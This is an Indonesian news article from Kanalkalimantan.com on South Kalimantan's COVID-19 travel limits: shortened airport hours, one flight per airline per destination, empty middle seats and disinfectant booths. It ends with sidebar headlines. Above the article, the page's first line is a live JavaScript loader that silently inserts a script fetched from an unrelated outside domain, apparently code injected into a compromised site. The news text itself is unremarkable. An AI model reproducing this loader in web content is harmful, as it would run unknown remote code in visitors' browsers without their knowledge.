(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Maskapai Dibatasi Satu Kali Penerbangan, Operasi Bandara hanya Pukul 06.00- 18.00 Wita!


KANALKALIMATAN.COM, BANJARBARU – Pemerintah Provinsi (Pemprov) Kalimantan Selatan telah memutuskan melakukan pembatasan arus masuk orang yang datang dari luar daerah provinsi. Kepala Harian Gugus Tugas P3 virus corona (Covid-19), Wahyuddin menjelaskan, pembatasan ini berlaku untuk jalur udara, laut, maupun darat. Terkhusus di Bandara Internasional Syamsudin Noor, Pemprov Kalsel telah membatasi jadwal penerbangan per-harinya.

“Operasi bandara hanya dari pukul 06:00 Wita sampai dengan pukul 18:00 Wita. Frekuensi penerbangan dikurangi menjadi 1 penerbangan setiap maskapai untuk satu tujuan,” terang Ujud.

Selain itu, maskapai penerbangan juga diminta untuk mengatur agar tempat duduk di kabin pesawat diberikan jarak untuk setiap penumpang. Yaitu, dengan mengosongkan tempat duduk (seat) yang ada di tengah setiap baris kursi.

Wahyuddin yang juga menjabat sebagai kepala pelaksana BPBD Provinsi Kalsel, mengungkapkan bahwa pihaknya juga telah menempatkan satu unit Chamber Disinfektan atau bilik disinfektan di Bandara Internasional Syamsudin Noor. Bilik ini difungsikan bagi para penumpang yang datang dari luar daerah Kalsel.

“Kemarin sudah kita tempatkan satu unit bilik disinfektar di terminal kedatangan Bandara Syamsudin Noor. Ini merupakan salah satu upaya kami dalam menangkal penyebaran Covid-19 melalui penyemprotan cairan disinfektan ke penumpang pesawat atau pengunjung bandara,” katanya, saat dihubungi Kanalkalimantan.com, Rabu (1/3/2020) malam.

Tidak hanya di Bandara, BPBD Prov Kalsel juga pada hari ini menempatkan satu unit bilik disinfektan disalah pusat perbelanjaan, yakni di Q Mall Banjarbaru.

Seperti yang diberitakan sebelumnya, kebijakan untuk melakukan pembatasan arus masuk orang yang datang dari luar provinsi, tertuang dalam Surat Keputusan Gubenur (Kepgub) Kalsel Nomor : 188.44/021/kum/2020, tentang pembatasan arus masuk orang yang datang dari luar daerah provinsi, per-tanggal 31 Maret 2020. (Kanalkalimantan.com/rico)

 

 

Reporter : Rico
Editor : Cell

 


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

7 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

12 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

13 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.